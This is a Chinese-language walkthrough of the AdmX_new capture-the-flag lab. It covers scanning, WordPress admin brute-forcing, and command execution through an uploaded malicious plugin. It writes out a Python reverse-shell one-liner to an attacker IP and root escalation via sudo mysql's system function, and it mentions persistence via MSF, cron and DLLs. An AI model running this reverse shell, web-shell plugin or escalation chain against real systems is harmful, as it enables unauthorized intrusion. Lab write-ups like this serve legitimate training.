AdmX_new
0x01 主机发现
1 | sudo nmap -sn 10.0.2.0/24 |
前 1-4 为虚拟机占用的IP,靶机IP为 10.0.2.7
0x02 端口扫描
1 | sudo nmap -p- 10.0.2.7 |
0x03 服务识别
1 | sudo nmap -p80 -sV 10.0.2.7 |
0x04 web服务探测
靶机只开放了 80 端口,尝试访问
尝试路径爆破(使用 feroxbuster 或 dirsearch 都可以 ,字典使用的 kali 内置)
1 | feroxbuster --url http://10.0.2.7 -w /usr/share/dirb/wordlists/common.txt |
扫描结果,出现了很多 wordpress 字样,可以判断网站用的 wordpress 框架
访问登录页面,可以看到页面持续加载
抓个包看看
可以看到在第一个请求的响应体里有多个 192.168.159.145 地址,下面的请求都是从第一个请求的响应体里发出,但由于请求不成功才导致页面的卡顿。尝试让页面加载时的请求全部指向本机。配置如下:
类似于访问国外网站失败,重定向到国内镜像网站。也可用浏览器插件 Redirector 实现重定向。
burp 中配置的 Response header & Response body。
现在再访问试试,正常显示。
0x05 暴力破解 & 后台命令执行
尝试默认账号密码登录,失败了,但确定有 admin 账户。
尝试密码爆破,这时候就看字典强大与否了,毕竟wp的漏洞利用基本都要登录后台。其实这里也可以使用 kali 自带的 wpscan,但需要代理请求,设置IP转发,所以暂时先没用,试试能不能爆破出来密码。
成功登录后台,Wordpress Version 5.7.1
后台 getshell | 命令注入的思路一般为:
1、Mdedia——上传软件包
2、Appearance——编辑页面主题 例如:404Template.php,插入恶意代码
3、Plugins——上传自定义恶意插件,压缩成zip、 激活插件
操作上,自定义插件是最灵活的。创建 exp.php 文件,代码如下,格式必须固定:
1 |
|
压缩成 zip 格式才能上传,上传后记得激活才能生效
1 | zip exp.zip exp.php |
访问插件路径(建议下载目标框架源码看看各种对外路径)
1 | http://10.0.2.7/wordpress/wp-content/plugins/exp.php?cmd=id |
能够执行命令后,收集环境信息,如果能够直接执行 php 或是 python 那就反弹 shell ,如果有长度限制的话就反弹个 nc。查找命令可以看到有 Python3 环境。
执行 pyhton 反弹 shell 命令:
1 | python3 -c 'import os,subprocess,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.4",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
0x06 一次提权
可以看到当前为普通权限,由于当前没有bash权限,也执行不了sudo查看是否有配置不当。先查看内核信息,无提权可用
WP 框架要记得去看配置信息,wp-config.php
查看当前系统有什么账户
1 | ls /home |
可以直接知道 MySQL 用户 admin
和密码 Wp_Admin#123
,但登录数据库报错。切换用户也报错。试了下之前登录的密码 adam14,成功切换到 wpadmin 账户。
在 /home/wpadmin 下拿到了第一个flag
0x07 二次提权
执行 sudo -l
可使用 root 用户 执行 mysql 操作,而 mysql 中是有 system这个函数的,由于之前尝试 WP 配置文件中的密码错误,那么就再尝试一开始的登录密码 adam14,提权步骤如下:
1 | 1、sudo /usr/bin/mysql -u root -D wordpress -p #密码adam14 |
读取 root 目录下的 flag
0x08 出现的意外及注意点
1、不知为何,我这边的反弹 shell 都是不带用户名的,因此命令执行是否成功也不知道,就像这样。
2、通常遇到 wordpress 框架,首先识别版本号,但由于此目标网站下的识别文件已移除,无法直接地识别。另一方面就是采用 wpscan 进行扫描,由访问有问题就没有直接使用了。
3、应该维持多个权限,通过某一处命令执行后,通常会多点上线,比如上线 CS 、MSF、定时任务反弹、写入恶意 DLL等。这里其实也可以直接使用 MSF 上线的。